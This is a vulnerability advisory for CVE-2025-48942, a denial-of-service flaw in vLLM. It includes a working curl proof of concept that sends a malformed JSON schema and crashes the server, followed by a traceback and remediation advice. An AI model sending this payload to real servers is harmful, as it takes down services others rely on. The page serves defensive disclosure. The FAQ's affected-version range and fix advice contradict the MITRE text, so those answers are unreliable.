CVE-2025-48942: vLLM DOS: Remotely kill vllm over http with invalid JSON schema
Summary Hitting the /v1/completions API with a invalid jsonschema as a Guided Param will kill the vllm server
Details The following API call (venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "maxtokens": 10, "temperature": 0.5, "guidedjson":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' will provoke a Uncaught exceptions from xgrammer in ./lib64/python3.11/site-packages/xgrammar/compiler.py
Issue with more information: https://github.com/vllm-project/vllm/issues/17248
PoC Make a call to vllm with invalid jsonscema e.g. {\"properties\":{\"reason\":{\"type\": \"stsring\"}}}
curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "maxtokens": 10, "temperature": 0.5, "guidedjson":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' Impact vllm crashes
example traceback ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last): ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in runenginecore ERROR 03-26 17:25:01 [core.py:340] enginecore.runbusyloop() ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in runbusyloop ERROR 03-26 17:25:01 [core.py:340] outputs = stepfn() ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 181, in step ERROR 03-26 17:25:01 [core.py:340] scheduleroutput = self.scheduler.schedule() ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py", line 257, in schedule ERROR 03-26 17:25:01 [core.py:340] if structuredoutputreq and structuredoutputreq.grammar: ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structuredoutput/request.py", line 41, in grammar ERROR 03-26 17:25:01 [core.py:340] completed = self.checkgrammarcompletion() ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structuredoutput/request.py", line 29, in checkgrammarcompletion ERROR 03-26 17:25:01 [core.py:340] self.grammar = self.grammar.result(timeout=0.0001) ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/base.py", line 456, in result ERROR 03-26 17:25:01 [core.py:340] return self.getresult() ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/base.py", line 401, in getresult ERROR 03-26 17:25:01 [core.py:340] raise self.exception ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/thread.py", line 58, in run ERROR 03-26 17:25:01 [core.py:340] result = self.fn(self.args, self.kwargs) ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structuredoutput/init.py", line 120, in asynccreategrammar ERROR 03-26 17:25:01 [core.py:340] ctx = self.compiler.compilejsonschema(grammarspec, ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py", line 101, in compilejsonschema ERROR 03-26 17:25:01 [core.py:340] self.handle.compilejsonschema( ERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/jsonschemaconverter.cc:795: Check failed: (schema.is<picojson::object>()) is false: Schema should be an object or bool ERROR 03-26 17:25:01 [core.py:340] ERROR 03-26 17:25:01 [core.py:340] CRITICAL 03-26 17:25:01 [coreclient.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.
Fix
https://github.com/vllm-project/vllm/pull/17623
Other sources
vLLM is an inference and serving engine for large language models (LLMs). In versions 0.8.0 up to but excluding 0.9.0, hitting the /v1/completions API with a invalid jsonschema as a Guided Param kills the vllm server. This vulnerability is similar GHSA-9hcf-v7m4-6m2j/CVE-2025-48943, but for regex instead of a JSON schema. Version 0.9.0 fixes the issue.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/vllmto a version that resolves this vulnerability.Fixed in 0.9.0 - Upgrade
Upgrade
vllmto a version that resolves this vulnerability.Fixed in 0.9.0
Event History
Frequently Asked Questions
What is the severity of CVE-2025-48942?
CVE-2025-48942 is considered a critical vulnerability because it can crash the vllm server when hitting the /v1/completions API with an invalid json_schema.
How do I fix CVE-2025-48942?
To fix CVE-2025-48942, ensure that you validate the json_schema before sending requests to the /v1/completions API.
Which versions of vllm are affected by CVE-2025-48942?
CVE-2025-48942 affects vllm versions between 0.8.0 and 0.9.0 inclusive.
What happens if I exploit CVE-2025-48942?
Exploiting CVE-2025-48942 by sending invalid json_schema to the /v1/completions API will crash the vllm server.
Is there a temporary workaround for CVE-2025-48942?
A temporary workaround for CVE-2025-48942 is to monitor and restrict inputs to the /v1/completions API until a patch is applied.